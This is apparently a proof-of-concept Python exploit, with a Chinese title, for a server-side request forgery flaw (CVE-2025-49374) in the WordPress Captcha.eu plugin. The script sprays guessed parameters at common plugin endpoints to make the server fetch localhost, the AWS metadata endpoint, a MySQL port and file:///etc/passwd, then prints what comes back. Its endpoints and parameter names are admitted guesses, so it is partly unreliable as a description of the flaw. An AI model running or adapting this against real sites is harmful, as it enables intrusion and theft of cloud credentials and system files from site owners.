CVE-2025-49374：WordPress Captcha.eu插件SSRF漏洞

# CVE-2025-49374 - Captcha.eu SSRF PoC # Vulnerability: Server-Side Request Forgery in WordPress Captcha.eu Plugin <= 1.0.61 # Researcher: [email protected] import requests TARGET_URL = "http://target-wordpress-site.com" # SSRF target - can be internal service or cloud metadata endpoint SSRF_TARGETS = [ "http://127.0.0.1:80", # Localhost "http://169.254.169.254/latest/meta-data/", # AWS metadata "http://[::1]/", # IPv6 localhost "http://0.0.0.0:3306/", # MySQL default port "file:///etc/passwd", # Local file read ] def exploit_ssrf(target_endpoint, ssrf_url): """ Exploit SSRF by injecting a malicious URL into the vulnerable parameter of the Captcha.eu plugin endpoint. """ payload = { # Parameter name may vary depending on the vulnerable code path "url": ssrf_url, "endpoint": ssrf_url, "callback": ssrf_url, "verify_url": ssrf_url, } try: response = requests.post( f"{TARGET_URL}{target_endpoint}", data=payload, timeout=10, verify=False ) print(f"[+] Target: {ssrf_url}") print(f"[+] Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") if response.status_code == 200 and len(response.text) > 0: print(f"[+] Response preview: {response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": # Common vulnerable endpoints in Captcha.eu plugin endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/captcha-eu/v1/verify", "/wp-content/plugins/captcha-eu/verify.php", ] for endpoint in endpoints: for ssrf_target in SSRF_TARGETS: print(f"\n[*] Testing endpoint: {endpoint}") if exploit_ssrf(endpoint, ssrf_target): print(f"[!!!] SSRF confirmed with target: {ssrf_target}") break